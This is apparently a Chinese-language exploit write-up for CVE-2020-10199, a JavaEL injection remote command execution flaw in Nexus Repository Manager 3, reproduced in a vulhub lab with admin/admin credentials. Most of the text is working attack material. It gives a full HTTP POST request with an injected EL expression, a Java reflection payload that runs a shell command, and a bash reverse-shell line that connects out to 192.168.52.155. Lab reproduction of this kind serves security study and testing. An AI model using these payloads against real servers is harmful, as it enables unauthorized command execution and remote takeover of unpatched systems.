漏洞名称:CVE-2020-10199-Nexus Repository Manager 3 远程命令执行漏洞
CVE-2020-10199-Nexus Repository Manager 3 远程命令执行漏洞
漏洞编号:
CVE-2020-10199
漏洞描述:
3.21.2 之前的 Sonatype Nexus Repository 允许 JavaEL 注入
影响版本:
<3.21.2
查找方法:
直接vulhub安装
利用的前提是有个账号来登录,这里的是:admin/admin
访问目标8081端口登录
登录后复制cookie的两个参数
注意NXSESSIONID过期很快
数据包如下:
POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 192.168.52.149:8081
Content-Length: 195
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.9111760285842319
Content-Type: application/json
Accept: */*
Origin: http://192.168.52.149:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://192.168.52.149:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.9111760285842319; NXSESSIONID=36937647-d92d-4f6f-8f98-033145a32c3f
Connection: close
{
"name": "internal",
"online": true,
"storage": {
"blobStoreName": "default",
"strictContentTypeValidation": true
},
"group": {
"memberNames": ["$\\A{9*9}"]
}
}
利用方法(利用案例):
创建文件
''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/abc')
NC反弹shell
'/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.52.155/8080<&1'